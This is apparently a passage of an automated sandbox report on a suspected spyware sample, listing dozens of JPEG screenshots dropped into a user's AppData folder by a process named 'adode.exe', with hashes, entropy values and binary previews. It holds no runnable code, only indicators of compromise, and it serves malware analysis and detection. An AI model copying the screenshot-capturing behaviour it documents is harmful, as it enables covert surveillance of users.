File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241006_001101.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241006_053400.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241008_144738.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241008_195835.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241009_052609.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241009_132657.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241011_222922.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241012_035028.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241012_070050.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151473
Entropy (8bit):	7.92730421029982
Encrypted:	false
SSDEEP:	3072:Q1WWdWxR2OQtMVQpYS/tGp/vNZYOA0y5vjxQsi2ly3TQr6J:PHfPVWvgFvPYOAvIsATBJ
MD5:	D6934541B0846585D19E013B2FE3521B
SHA1:	A4A9FBCEDC66E16F69276A6D201B20328521314D
SHA-256:	2217096C98EFE251413A12E6338EA88726A19F12687BB2A270A4A0EA8D19FE26
SHA-512:	5A2E1ED1D7DA2E0DF4AAA2A7ED681EF31618DAD051FB7CAAD464DFA3015AD82345192B44BD70146D6010B5D82784A9D0651AAC5F7EBDD66866F5D04DA73FB732
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241017_232427.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241018_115640.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241018_173145.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241019_002247.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241019_051931.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241019_121447.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241019_181121.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241020_005920.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
